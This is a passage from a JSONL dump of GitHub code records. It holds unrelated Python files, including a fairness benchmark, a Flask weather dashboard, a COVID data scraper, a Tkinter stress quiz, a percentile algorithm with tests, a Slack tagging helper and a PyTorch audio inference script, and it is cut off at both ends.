duration(df)\n\ndf.loc[(df['pdays'] == 999), 'pdays'] = 1\ndf.loc[(df['pdays'] > 0) & (df['pdays'] <= 10), 'pdays'] = 2\ndf.loc[(df['pdays'] > 10) & (df['pdays'] <= 20), 'pdays'] = 3\ndf.loc[(df['pdays'] > 20) & (df['pdays'] != 999), 'pdays'] = 4 \n\ndf.loc[(df['euribor3m'] < 1), 'euribor3m'] = 1\ndf.loc[(df['euribor3m'] > 1) & (df['euribor3m'] <= 2), 'euribor3m'] = 2\ndf.loc[(df['euribor3m'] > 2) & (df['euribor3m'] <= 3), 'euribor3m'] = 3\ndf.loc[(df['euribor3m'] > 3) & (df['euribor3m'] <= 4), 'euribor3m'] = 4\ndf.loc[(df['euribor3m'] > 4), 'euribor3m'] = 5\n\ndf['poutcome'].replace(['nonexistent', 'failure', 'success'], [1,2,3], inplace = True)\n\n\n# In[3]:\n\n\npro_att_name = ['age'] # ['race', 'sex']\npriv_class = [1] # ['White', 'Male']\nreamining_cat_feat = []\nseed = randrange(100)\n\ny1_data_orig, y1_X, y1_y = load_bank_data(df, pro_att_name, priv_class, reamining_cat_feat)\ny1_data_orig_train, y1_data_orig_test = y1_data_orig.split([0.7], shuffle=True, seed=seed)\n\ny1_X_train = y1_data_orig_train.features\ny1_y_train = y1_data_orig_train.labels.ravel()\ny1_X_test = y1_data_orig_test.features\ny1_y_test = y1_data_orig_test.labels.ravel()\n\nsc2 = StandardScaler()\ny1_X_train = sc2.fit_transform(y1_X_train)\ny1_X_test = sc2.fit_transform(y1_X_test)\ny1_data_orig_train.features = y1_X_train\ny1_data_orig_test.features = y1_X_test\n\nfrom sklearn.ensemble import GradientBoostingClassifier\ny1_gbc = GradientBoostingClassifier()\ny1_mdl = y1_gbc.fit(y1_X_train, y1_y_train)\n\nplot_model_performance(y1_mdl, y1_X_test, y1_y_test)\n\n","repo_name":"sumonbis/FairPreprocessing","sub_path":"benchmark/bank/BM3.py","file_name":"BM3.py","file_ext":"py","file_size_in_byte":2876,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"7"} +{"seq_id":"74182949022","text":"import os\nimport sys\n\nROOT = os.getcwd()\nif str(ROOT) not in sys.path:\n sys.path.append(str(ROOT))\nsys.path.append(os.path.join(ROOT, \"representations\"))\nsys.path.append(os.path.join(ROOT, \"ev-YOLOv6/\"))\n\nfrom representations.representation_search.mixed_density_event_stack import (\n MixedDensityEventStack,\n)\n\nN_CHANNELS = 12\n\n\"\"\"\ndef get_optimized_representation(reshaped_return_data, num_events, height, width):\n window_indexes = [0, 2, 2, 3, 5, 0, 0, 4, 2, 6, 1, 1]\n functions = [\n \"timestamp\",\n \"timestamp_pos\",\n \"timestamp_neg\",\n \"count_neg\",\n \"count_pos\",\n \"polarity\",\n \"timestamp\",\n \"count\",\n \"timestamp_pos\",\n \"count\",\n \"timestamp_pos\",\n \"timestamp_neg\",\n ]\n aggregations = [\n \"max\",\n \"sum\",\n \"mean\",\n \"sum\",\n \"mean\",\n \"variance\",\n \"variance\",\n \"sum\",\n \"mean\",\n \"sum\",\n \"sum\",\n \"sum\",\n ]\n\n stack_size = N_CHANNELS\n stacking_type = [\"SBN\", \"SBT\"][\n 0\n ] # stacking based on number of events (SBN) or time (SBT)\n\n indexes_functions_aggregations = window_indexes, functions, aggregations\n\n transformation = MixedDensityEventStack(\n stack_size,\n num_events,\n height,\n width,\n indexes_functions_aggregations,\n stacking_type,\n )\n rep = transformation.stack(reshaped_return_data)\n\n return rep\n\"\"\"\n\n\"\"\"\nBest observation: {'window': 0, 'function': 'polarity', 'aggregation': 'variance', 'C_p': 0.}\nBest observation: {'window': 3, 'function': 'timestamp_neg', 'aggregation': 'variance', 'C_p': 0.}\nBest observation: {'window': 2, 'function': 'count_neg', 'aggregation': 'mean', 'C_p': 0.}\nBest observation: {'window': 6, 'function': 'polarity', 'aggregation': 'sum', 'C_p': 0.}\nBest observation: {'window': 5, 'function': 'count_pos', 'aggregation': 'mean', 'C_p': 0.}\nBest observation: {'window': 6, 'function': 'count', 'aggregation': 'sum', 'C_p': 0.}\nBest observation: {'window': 2, 'function': 'timestamp_pos', 'aggregation': 'mean', 'C_p': 0.}\nBest observation: {'window': 5, 'function': 'count_neg', 'aggregation': 'mean', 'C_p': 0.}\nBest observation: {'window': 1, 'function': 'timestamp_neg', 'aggregation': 'max', 'C_p': 0.}\nBest observation: {'window': 0, 'function': 'timestamp_pos', 'aggregation': 'max', 'C_p': 0.}\nBest observation: {'window': 4, 'function': 'timestamp', 'aggregation': 'max', 'C_p': 0.}\nBest observation: {'window': 1, 'function': 'count', 'aggregation': 'mean', 'C_p': 0.}\n\nOptimization without clipping, 2nd representation search.\n\"\"\"\n\n\ndef get_optimized_representation(reshaped_return_data, num_events, height, width):\n window_indexes = [0, 3, 2, 6, 5, 6, 2, 5, 1, 0, 4, 1]\n functions = [\n \"polarity\",\n \"timestamp_neg\",\n \"count_neg\",\n \"polarity\",\n \"count_pos\",\n \"count\",\n \"timestamp_pos\",\n \"count_neg\",\n \"timestamp_neg\",\n \"timestamp_pos\",\n \"timestamp\",\n \"count\",\n ]\n aggregations = [\n \"variance\",\n \"variance\",\n \"mean\",\n \"sum\",\n \"mean\",\n \"sum\",\n \"mean\",\n \"mean\",\n \"max\",\n \"max\",\n \"max\",\n \"mean\",\n ]\n\n stack_size = N_CHANNELS\n stacking_type = [\"SBN\", \"SBT\"][\n 0\n ] # stacking based on number of events (SBN) or time (SBT)\n\n indexes_functions_aggregations = window_indexes, functions, aggregations\n\n transformation = MixedDensityEventStack(\n stack_size,\n num_events,\n height,\n width,\n indexes_functions_aggregations,\n stacking_type,\n )\n rep = transformation.stack(reshaped_return_data)\n\n return rep\n","repo_name":"uzh-rpg/event_representation_study","sub_path":"representations/optimized_representation.py","file_name":"optimized_representation.py","file_ext":"py","file_size_in_byte":3750,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"7"} +{"seq_id":"4343230041","text":"from Classes import *\nimport json\nimport importlib\n\ndef serialise_To_JSON_Data(objectArray):\n\n dataArray = []\n \n for object in objectArray:\n\n testDict = object.__dict__()\n\n dataArray.append(JSON_Class_Extracter(str(type(object).__name__), json.dumps(testDict)).__dict__())\n\n return json.dumps(dataArray)\n\ndef read_JSON_Data(rawData):\n\n dataList = json.loads(rawData)\n\n #dict_List = []\n\n for JSON_Object in dataList:\n\n JSON_Object[\"JSON_Text\"] = json.loads(JSON_Object[\"JSON_Text\"])\n\n #dict_List.append(json.loads(JSON_Object[\"JSON_Text\"]))\n\n objectList = []\n\n for dictionary in dataList:\n\n dictClass = getattr(importlib.import_module(\"Classes\"), dictionary[\"classType\"])\n\n objectList.append(dictClass.create_From_JSON(dictionary[\"JSON_Text\"]))\n\n return objectList","repo_name":"QuasarX1/Shallow-Blue-Testing","sub_path":"Shallow Blue Website/Functions/dataTransfer.py","file_name":"dataTransfer.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"1856196065","text":"# Imports\n\nfrom api_calls import current_data1, seven_day_data1\nimport pymongo\nfrom flask_pymongo import PyMongo\nimport os\nimport json\nimport pandas as pd\nfrom flask import (\n Flask,\n render_template,\n jsonify,\n request,\n redirect)\n\n#################################################\n# Flask Setup\n#################################################\napp = Flask(__name__)\n#################################################\n# Database Setup\n################################################\n\nmongo_current = PyMongo(app, uri=\"mongodb://localhost:27017/current_dashboard\")\nmongo_seven_day = PyMongo(app, uri=\"mongodb://localhost:27017/seven_day_dashboard\")\n\n# API call\ncurrent_data = {\"data\": current_data1}\nseven_day_data = {\"data\": seven_day_data1}\n\nmongo_current.db.collection.update({}, current_data, upsert=True)\nmongo_seven_day.db.collection.update({}, seven_day_data, upsert=True)\n\n# Routes\n@app.route(\"/\")\ndef home(): \n return render_template('index.html')\n\n@app.route(\"/current-data-json\")\ndef current_json():\n current = mongo_current.db.collection.find_one()\n return jsonify(current[\"data\"])\n \n@app.route(\"/seven-day-data-json\")\ndef weekly_forecast():\n forecast = mongo_seven_day.db.collection.find_one()\n return jsonify(forecast[\"data\"])\n\n\nif __name__ == \"__main__\":\n app.run(debug=False)","repo_name":"tatianafrattale/weather-dashboard","sub_path":"project_app.py","file_name":"project_app.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"27890589038","text":"import requests\nimport json\n\n\ndef get_data():\n url1 = 'https://view.inews.qq.com/g2/getOnsInfo?name=disease_h5'\n url2 = 'https://view.inews.qq.com/g2/getOnsInfo?name=disease_other'\n headers = \\\n {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36'\n }\n\n res1 = json.loads(requests.get(url1, headers).text) # json.loads 作用是将json字符串转换成字典\n # 疫情当日详细数据\n detail_data = json.loads(res1['data'])\n\n res2 = json.loads(requests.get(url2, headers).text)\n # 疫情每天最新情况\n chinaDaydict = json.loads(res2['data'])\n\n history = {} # 历史数据\n # 每日最新总概况\n for i in chinaDaydict['chinaDayList']:\n # 日期\n dt = ('2020.' + i['date']).replace('.', '-')\n # 确诊人数\n confirm = i['confirm']\n # 疑似病例\n suspect = i['suspect']\n # 治愈人数\n heal = i['heal']\n # 死亡人数\n dead = i['dead']\n history[dt] = {'confirm': confirm, 'suspect': suspect, 'heal': heal, 'dead': dead}\n\n # 每日新增概况\n for i in chinaDaydict['chinaDayAddList']:\n # 日期\n dt = ('2020.' + i['date']).replace('.', '-')\n # 新增确诊\n confirm = i['confirm']\n # 新增疑似\n suspect = i['suspect']\n # 新增治愈\n heal = i['heal']\n # 新增死亡\n dead = i['dead']\n history[dt].update({'confirm_add': confirm, 'suspect_add': suspect, 'heal_add': heal, 'dead_add': dead})\n\n details = []\n # 最后更新时间\n update_time = detail_data['lastUpdateTime']\n # 中国\n data_country = detail_data['areaTree']\n # 中国34个省\n data_province = detail_data['areaTree'][0]['children']\n for pro_infos in data_province:\n # 省名\n province = pro_infos['name']\n for city_infos in pro_infos['children']:\n # 市区县名\n city = city_infos['name']\n # 确诊人数\n confirm = city_infos['total']['confirm']\n # 新增确诊\n confirm_add = city_infos['today']['confirm']\n # 治愈人数\n heal = city_infos['total']['heal']\n # 死亡人数\n dead = city_infos['total']['dead']\n details.append([update_time, province, city, confirm, confirm_add, heal, dead])\n # print(details)\n return history, details\n\n\nif __name__ == '__main__':\n history, details = get_data()\n print(history, '\\n', details)\n\n\n# # print(data_all['areaTree'][0].keys())\n# print(data_all['areaTree'][0]['children'])\n#\n# for i in data_all['areaTree'][0]['children']:\n# print(i['today'])\n# print(len(data_all['areaTree'][0]['children']))\n\n\n\n\n\n\n\n\n","repo_name":"sevencj/cov2020","sub_path":"cov_data_spider.py","file_name":"cov_data_spider.py","file_ext":"py","file_size_in_byte":2812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"3881376019","text":"def output(event):\r\n u = ent.get()\r\n if u == \"10\":\r\n tex.delete(1.0, END)\r\n tex.insert(END, \"У Вас повышенный уровень стресса. Расслабьтесть. Экзамены-это только проверка Ваших знаний. Медитируйте. Постарайтесь избегать стрессовых ситуаций\")\r\n elif u == \"9\":\r\n tex.delete(1.0, END)\r\n tex.insert(END, \"У Вас повышенный уровень стресса. Расслабьтесть. Экзамены-это только проверка Ваших знаний. Медитируйте. Постарайтесь избегать стрессовых ситуаций\")\r\n elif u == \"8\":\r\n tex.delete(1.0, END)\r\n tex.insert(END, \"У Вас повышенный уровень стресса. Расслабьтесть. Экзамены-это только проверка Ваших знаний. Медитируйте. Постарайтесь избегать стрессовых ситуаций\")\r\n elif u == \"7\":\r\n tex.delete(1.0, END)\r\n tex.insert(END, \"Средний уровень стресса. Чаще пейте воду и выходте на улицу ради освежения Ваших мозгов\")\r\n elif u == \"6\":\r\n tex.delete(1.0, END)\r\n tex.insert(END, \"Средний уровень стресса. Чаще пейте воду и выходте на улицу ради освежения Ваших мозгов\")\r\n elif u == \"5\":\r\n tex.delete(1.0, END)\r\n tex.insert(END, \"Средний уровень стресса. Чаще пейте воду и выходте на улицу ради освежения Ваших мозгов\")\r\n elif u == \"4\":\r\n tex.delete(1.0, END)\r\n tex.insert(END, \"Поздравляю! Низкий уровень стресса. Используйте это для подготовки к экзаменам\")\r\n elif u == \"3\":\r\n tex.delete(1.0, END)\r\n tex.insert(END, \"Поздравляю! Низкий уровень стресса. Используйте это для подготовки к экзаменам\")\r\n elif u == \"2\":\r\n tex.delete(1.0, END)\r\n tex.insert(END, \"Поздравляю! Низкий уровень стресса. Используйте это для подготовки к экзаменам\")\r\n elif u == \"1\":\r\n tex.delete(1.0, END)\r\n tex.insert(END, \"Поздравляю! Низкий уровень стресса. Используйте это для подготовки к экзаменам\")\r\n elif u == \"0\":\r\n tex.delete(1.0, END)\r\n tex.insert(END, \"Поздравляю! Низкий уровень стресса. Используйте это для подготовки к экзаменам\")\r\n else:\r\n tex.delete(1.0, END)\r\n tex.insert(END, \"Вы уверены,что ввели цифру от 1 до 10?\")\r\n \r\n\r\nfrom tkinter import * \r\n \r\nroot = Tk()\r\nroot.title(\"Твой уровень стресса\")\r\nroot.minsize(800,600)\r\nroot.resizable(width = False, height = False)\r\n\r\nlabel1 = Label(root, text = \"Привет! Давай проверим твой уровень стресса!\", font = \"Arial 18\", fg = \"red\", bg=\"white\").grid(row = 1)\r\nlabel2 = Label(root, text = \"1.Подолгу ли ты переживаешь из-за неприятностей?\", font = \"Arial 18\").grid(row = 2)\r\nlabel3 = Label(root, text = \"2.Думаешь ли ты о своих проблемах даже в свободное время?\", font = \"Arial 18\").grid(row = 3)\r\nlabel4 = Label(root, text = \"3.Можно ли сказать, что ты вечно спешишь?\", font = \"Arial 18\").grid(row = 4)\r\nlabel5 = Label(root, text = \"4.Бывает, что во время разговора мысли витают где-то далеко?\", font = \"Arial 18\").grid(row = 5)\r\nlabel6 = Label(root, text = \"5.Кажется ли тебе, что люди говорят о пустых и скучных вещах?\", font = \"Arial 18\").grid(row = 6)\r\nlabel7 = Label(root, text = \"6.Приходится тебе делать несколько вещей одновременно?\", font = \"Arial 18\").grid(row = 7)\r\nlabel8 = Label(root, text = \"7.Нервничаешь ли ты стоя в очереди?\", font = \"Arial 18\").grid(row = 8)\r\nlabel9 = Label(root, text = \"8.Долго ли ты колеблешься перед принятием важного решения?\", font = \"Arial 18\").grid(row = 9)\r\nlabel10 = Label(root, text = \"9.Вы говорите торопливо?\", font = \"Arial 18\").grid(row = 10)\r\nlabel11 = Label(root, text = \"10.Последнее время сонливы даже если спали 8 часов?\", font = \"Arial 18\").grid(row = 11)\r\nlabel12 = Label(root, text = \"Сколько раз Вы ответили ДА? Введите ниже и нажмите кнопку ОТВЕТИТЬ\", font = \"Arial 18\").grid(row = 12)\r\n\r\n\r\nent = Entry(root, width = 20, bd = 20)\r\ntex = Text(root, width=30, height=5, font=\"12\", wrap=WORD)\r\nbut = Button(root, text = \"ОТВЕТИТЬ\", bg=\"yellow\",fg=\"green\", width = 20, height = 2)\r\n\r\nent.grid(row=13, column=0, padx=10)\r\nbut.grid(row=7, column=2)\r\ntex.grid(row=1, column=2, padx=5, pady=20)\r\n \r\nbut.bind(\"\", output)\r\n\r\nroot.mainloop() \r\n","repo_name":"BibaSau/YourStressLevel","sub_path":"3term.py","file_name":"3term.py","file_ext":"py","file_size_in_byte":5770,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"39924123803","text":"SPEAKERS = [\n \"Alex\", \"Bruce\", \"Chris\", \"David\", \"Elliott\", \"Fred\", \"George\",\n \"Henry\", \"Isaac\", \"John\", \"Kim\", \"Lee\", \"Mick\", \"Nicolas\",\n \"Owen\", \"Patrick\", \"Richard\", \"Scott\", \"Tom\"]\n\n\ndef rename_speaker_names(tokens, speaker_name_to_id_uncased):\n \"\"\"\n Parameters\n ----------\n tokens: list[str]\n speaker_name_to_id_uncased: dict[str, int]\n\n Returns\n -------\n list[str]\n \"\"\"\n new_tokens = []\n for token in tokens:\n token_uncased = token.lower()\n if token_uncased in speaker_name_to_id_uncased:\n token = SPEAKERS[speaker_name_to_id_uncased[token_uncased]]\n new_tokens.append(token)\n return new_tokens\n\n\n","repo_name":"norikinishida/discourse-parsing","sub_path":"src/preprocessing2/preprocess_speakers.py","file_name":"preprocess_speakers.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"7"} +{"seq_id":"4698993295","text":"import datetime\nimport math\nimport random\n\n\ndef find_percentile(a, b, p) :\n def get_val(arr, i) :\n if 0 <= i < len(arr) :\n return arr[i]\n return math.inf * (-1 if i < 0 else 1)\n a = sorted(a)\n b = sorted(b)\n k = math.ceil((len(a) + len(b)) * p / 100)\n start = max(0, k - len(b))\n end = min(len(a), k)\n while start <= end :\n a_left_size = (start + end) // 2\n b_left_size = k - a_left_size\n a_left = get_val(a, a_left_size - 1)\n a_right = get_val(a, a_left_size)\n b_left = get_val(b, b_left_size - 1)\n b_right = get_val(b, b_left_size)\n if a_left > b_right :\n end = a_left_size - 1\n elif b_left > a_right :\n start = a_left_size + 1\n else :\n return max(a_left, b_left)\n\n\ndef reference_solution(a, b, p) :\n merged_array = a + b\n sorted_merged_array = sorted(merged_array)\n k = math.ceil((len(a) + len(b)) * p / 100)\n return sorted_merged_array[k - 1]\n\n\ndef test_find_percentile(a, b, p, expected_answer) :\n # run the solution and compare to the expected answer\n actual_answer = find_percentile(a, b, p)\n error_str = 'Test failed for following arrays a : {0} , b : {1} with percentage(p) : {2}' \\\n '\\nActual answer : {3}' \\\n '\\nExpected answer : {4}\\n'\n assert actual_answer == expected_answer, error_str.format(a, b, p, actual_answer, expected_answer)\n print(\"Well done. Unit tests passed !!!!\")\n\n\ndef run_unit_tests() :\n print(\"Running unit tests !!!!\")\n # run several test_find_percentile for different tests\n test_a, test_b, test_p = [1, 2, 7, 8, 10], [6, 12], 50\n test_find_percentile(test_a, test_b, test_p, 7)\n\n test_a, test_b, test_p = [1, 2, 7, 8], [6, 12], 50\n test_find_percentile(test_a, test_b, test_p, 6)\n\n test_a, test_b, test_p = [15, 20, 35, 40, 50], [], 30\n test_find_percentile(test_a, test_b, test_p, 20)\n\n test_a, test_b, test_p = [15, 20], [25, 40, 50], 40\n test_find_percentile(test_a, test_b, test_p, 20)\n print(\"End of unit tests !!!!\")\n\n\ndef run_stress_test(max_test_size, max_attempts, max_right_boundary) :\n print(\"Running stress tests !!!!\")\n random.seed(100)\n for attempt in range(max_attempts) :\n for size in range(1, max_test_size) :\n percentage, random_array_1, random_array_2 = generate_random_test(max_right_boundary, size)\n reference_solution_result = reference_solution(random_array_1, random_array_2, percentage)\n start_time = datetime.datetime.now()\n test_find_percentile(random_array_1, random_array_2, percentage, reference_solution_result)\n end_time = datetime.datetime.now()\n find_percentile_working_time = end_time - start_time\n execution_time = find_percentile_working_time.total_seconds() * 1000\n print(\"The execution time for p-th percentile calculation for following array's is (in milli seconds) : %f\" % execution_time)\n print(\"End of stress tests !!!!\")\n\n\n# find_percentile works 10 seconds on the max test\ndef run_max_test(max_right_boundary, max_test_size) :\n print(\"Running max test !!!!\")\n random.seed(100)\n # generate arrays a and b of maximum possible sizes\n percentage, random_array_1, random_array_2 = generate_random_test(max_right_boundary, max_test_size)\n # len(a), len(b) <= 150000 for the problem\n reference_solution_result = reference_solution(random_array_1, random_array_2, percentage)\n start_time = datetime.datetime.now()\n test_find_percentile(random_array_1, random_array_2, percentage, reference_solution_result)\n end_time = datetime.datetime.now()\n find_percentile_working_time = end_time - start_time\n execution_time = find_percentile_working_time.total_seconds() * 1000\n print(\"The max test execution time for p-th percentile calculation is (in milli seconds) : %f\" % execution_time)\n print(\"End of max test !!!!\")\n\n\ndef generate_random_test(max_right_boundary, size) :\n random_array_1 = random.sample(range(0, max_right_boundary), size)\n random_array_2 = random.sample(range(0, max_right_boundary), size)\n percentage = random.choice([10, 20, 30, 40, 50, 60, 70, 80, 90, 100])\n return percentage, random_array_1, random_array_2\n\n\n# some test code\nif __name__ == \"__main__\" :\n run_unit_tests()\n run_stress_test(max_test_size=100, max_attempts=100, max_right_boundary=100)\n run_max_test(max_right_boundary=200000, max_test_size=200000)\n","repo_name":"varunscyther/DataStructureUsingPython","sub_path":"sorted_array_percentile/percentile.py","file_name":"percentile.py","file_ext":"py","file_size_in_byte":4503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"9622269018","text":"import os\nimport json\nimport shutil\n\ndef get_flag(json_path):\n # json_path = '/home/wqg/data/BDD100K/datasets/det_annotations/val/a9c8091c-c67ba906.json'\n\n opList = ['truck','bus']\n num = 0\n with open(json_path,'r',encoding='utf-8') as fo:\n info = json.load(fo)\n objects = info['frames'][0]['objects']\n for ob in objects:\n if ob['category'] in opList:\n num +=1\n if num >=3:\n return True\n\n return False\n\n\ndef chioce_img():\n jsonDir = '/home/wqg/data/BDD100K/datasets'\n\n os.makedirs(os.path.join(jsonDir,'chioce'),exist_ok=True)\n\n filelist = ['train','val']\n n = 0\n for files in filelist:\n jsonlist = os.listdir(os.path.join(jsonDir,'det_annotations',files))\n for jsonname in jsonlist:\n jsonpath = os.path.join(jsonDir,'det_annotations',files,jsonname)\n if get_flag(jsonpath):\n imgname = jsonname[:-4] + 'jpg'\n imgpath = os.path.join(jsonDir,'images',files,imgname)\n img_new_path = os.path.join(jsonDir,'chioce',imgname)\n n+=1\n shutil.copy(imgpath,img_new_path)\n\n print(n)\n\n\n\ndef main():\n chioce_img()\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"qinggangwu/date_process","sub_path":"lane_detect_process/chioce_BDD_img.py","file_name":"chioce_BDD_img.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"73464059104","text":"from slack import WebClient\nimport sys, os\nsys.path.append(os.path.realpath(\"..\"))\nfrom config import slack_token\n\nslack_client = WebClient(slack_token)\n\n#replace all tags with the tag to send back to slack\n#IE: @slavik -> <@U014ED431CK>\n#Return the text\ndef main(text):\n #Use a copy of the text because when @slavik gets replaced with <@U014ED431CK>, \n #we want to be able to find the next user using the search for the @ sign\n #Therefore, the text_copy updates but replaces <@U014ED431CK> with <$U014ED431CK>\n #just to avoid the @ sign. The real text with the replacements is sent back though.\n text_copy = text\n #Finds the number of tagged users\n at_count = text.count(\"@\")\n\n #pylint: disable=unused-variable\n\n #Iterates for number of tagged users\n for i in range(0, at_count):\n #Finds the start index of the tagged user\n if \"@\" in text_copy:\n user_start = text_copy.index(\"@\")\n else:\n break\n user_end = user_start+1\n end = False\n #Finds the end index of the tagged user\n while True:\n if user_end == len(text):\n end = True\n break\n if text[user_end]!=\" \" and text[user_end]!=\"@\":\n user_end+=1\n else:\n break\n #If tagged user is the last part of the text:\n if end:\n user = text[user_start:]\n else:\n user = text[user_start:user_end]\n\n #Get slack IDs and build tag string based on Slack names\n slack_users = slack_client.users_list()\n tag_string = ''\n for slack_user in slack_users[\"members\"]:\n name = slack_user.get('name')\n if name == user.strip(\"@\"):\n slack_id = slack_user.get('id')\n tag_string = f\"<@{slack_id}>\"\n\n #Replace text with the tag string \n text = text.replace(user, tag_string)\n\n #Replace copy with the edited tag string to avoid @ sign in search\n tag_string = tag_string.replace(\"@\", \"$\")\n text_copy = text_copy.replace(user, tag_string)\n\n return {'output': text}\n","repo_name":"tylerkotler/Slack-Notion-Bot","sub_path":"subcommands/message.py","file_name":"message.py","file_ext":"py","file_size_in_byte":2134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72997638624","text":"from typing import List\n\n\nclass StdOutDecoder:\n def __init__(self):\n self.lines: List[List[str]] = []\n self.row = 0\n self.col = 0\n\n def print(self, text: str):\n for char in text:\n if char == '\\n':\n self.col = 0\n self.row += 1\n elif char == '\\r':\n self.col = 0\n elif char == '\\b':\n self.col -= 1\n else:\n self._set(self.row, self.col, char)\n self.col += 1\n\n def _set(self, row, col, char):\n while row > len(self.lines):\n self.lines.append([])\n\n if row >= len(self.lines):\n self.lines.append([char])\n elif col >= len(self.lines[row]):\n self.lines[row].append(char)\n else:\n self.lines[row][col] = char\n\n def __str__(self):\n return '\\n'.join(''.join(x) for x in self.lines)\n\n\nif __name__ == '__main__':\n import subprocess\n import threading\n import time\n\n command = ['ffplay', '-i',\n 'concat:'\n '/home/elisha/Videos/Test/AVCHD/BDMV/STREAM/00000.MTS|'\n '/home/elisha/Videos/Test/AVCHD/BDMV/STREAM/00001.MTS|'\n '/home/elisha/Videos/Test/AVCHD/BDMV/STREAM/00002.MTS|'\n '/home/elisha/Videos/Test/AVCHD/BDMV/STREAM/00003.MTS|'\n '/home/elisha/Videos/Test/AVCHD/BDMV/STREAM/00004.MTS|'\n '/home/elisha/Videos/Test/AVCHD/BDMV/STREAM/00005.MTS|'\n '/home/elisha/Videos/Test/AVCHD/BDMV/STREAM/00006.MTS|'\n '/home/elisha/Videos/Test/AVCHD/BDMV/STREAM/00007.MTS|'\n '/home/elisha/Videos/Test/AVCHD/BDMV/STREAM/00008.MTS']\n\n dec = StdOutDecoder()\n\n\n def command_output_loop(proc: subprocess.Popen):\n print(\"starting loop\")\n pipe = proc.stderr\n # l = []\n while process.poll() is None:\n char = pipe.read(1)\n # print(char)\n if char != b'':\n dec.print(char.decode())\n # print(str(dec))\n # l.append(char.decode())\n # if char in (b'\\n', b'\\r'):\n # dec.print(''.join(l))\n # l = []\n rest = pipe.read()\n dec.print(rest.decode())\n\n\n process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n output_thread_stdout = threading.Thread(target=command_output_loop, args=[process])\n output_thread_stdout.start()\n\n time.sleep(10)\n process.terminate()\n print(str(dec).replace('\\r', '\\\\r'))\n","repo_name":"ElishaAz/AVCHD-Converter","sub_path":"stdout_decoder.py","file_name":"stdout_decoder.py","file_ext":"py","file_size_in_byte":2578,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"37278455007","text":"def main():\n mystring = input(\"enter your string\")\n required=mystring.__len__()\n count=0\n for i in range(0, required):\n if(mystring[required-i-1]==mystring[i]):\n count=count+1\n if(count==required):\n print(mystring)\nmain()\n","repo_name":"waraniketh/python","sub_path":"Second.py","file_name":"Second.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"28305847026","text":"import torch\nimport torchaudio\n\nfrom cnn import CNNNetwork\nfrom urbansounddataset import UrbanSoundDataset\nfrom train import AUDIO_DIR, ANNOTATIONS_FILE, SAMPLE_RATE, NUM_SAMPLES\n\n\nclass_mapping = [\n \"air_conditioner\",\n \"car_horn\",\n \"children_playing\",\n \"dog_bark\",\n \"drilling\",\n \"engine_idling\",\n \"gun_shot\",\n \"jackhammer\",\n \"siren\",\n \"street_music\"\n]\n\n\ndef predict(model, input, target, class_mapping):\n model.eval()\n with torch.no_grad():\n predictions = model(input)\n # Tensor (1, 10) -> [ [0.1, 0.01, ..., 0.6] ]\n predicted_index = predictions[0].argmax(0)\n predicted = class_mapping[predicted_index]\n expected = class_mapping[target]\n return predicted, expected\n\n\nif __name__ == \"__main__\":\n # load back the model\n cnn = CNNNetwork()\n state_dict = torch.load(\"cnnnet.pth\")\n cnn.load_state_dict(state_dict)\n\n # load urban sound dataset dataset\n mel_spectrogram = torchaudio.transforms.MelSpectrogram(\n sample_rate=SAMPLE_RATE,\n n_fft=1024,\n hop_length=512,\n n_mels=64\n )\n\n usd = UrbanSoundDataset(ANNOTATIONS_FILE,\n AUDIO_DIR,\n mel_spectrogram,\n SAMPLE_RATE,\n NUM_SAMPLES,\n \"cpu\")\n\n\n # get a sample from the urban sound dataset for inference\n input, target = usd[0][0], usd[0][1] # [batch size, num_channels, fr, time]\n input.unsqueeze_(0)\n\n # make an inference\n predicted, expected = predict(cnn, input, target,\n class_mapping)\n print(f\"Predicted: '{predicted}', expected: '{expected}'\")\n","repo_name":"musikalkemist/pytorchforaudio","sub_path":"10 Predictions with sound classifier/inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":1705,"program_lang":"python","lang":"en","doc_type":"code","stars":186,"dataset":"github-code","pt":"7"} +{"seq_id":"27804361086","text":"import random\nfrom common import attach_common\n\n\n@attach_common\nclass BotInterface(object):\n starting_token_list = []\n token_list = []\n chr_start = ''\n sentence_new = ''\n\n def get_new_sentence(self):\n return self.sentence_new\n\n def __init__(self, starting_token_list, token_list):\n self.starting_token_list = starting_token_list\n self.token_list = token_list\n\n\nclass BotBase(object):\n def make_sentence(self, starting_token_list, token_list):\n self.RaiseError(name=__name__, ExceptionClass=self.NoOverwrittenError)\n\n\nclass BotTypeNgram(object):\n def make_sentence(self, starting_token_list, token_list):\n self.RaiseError(name=__name__, ExceptionClass=self.NoOverwrittenError)\n\n\nclass BotTypeMorpheme(object):\n def make_sentence(self, starting_token_list, token_list):\n self.starting_token_list = starting_token_list\n self.token_list = token_list\n self.setup_chr_start()\n self.make_sentence_core()\n return self.get_new_sentence()\n\n def setup_chr_start(self):\n tokens_start = self.starting_token_list\n num = len(tokens_start) - 1\n num = random.randint(0, num)\n self.chr_start = tokens_start[num]\n\n def make_sentence_core(self):\n token_list = self.token_list\n chr_start = self.chr_start\n sentence_new = ''\n 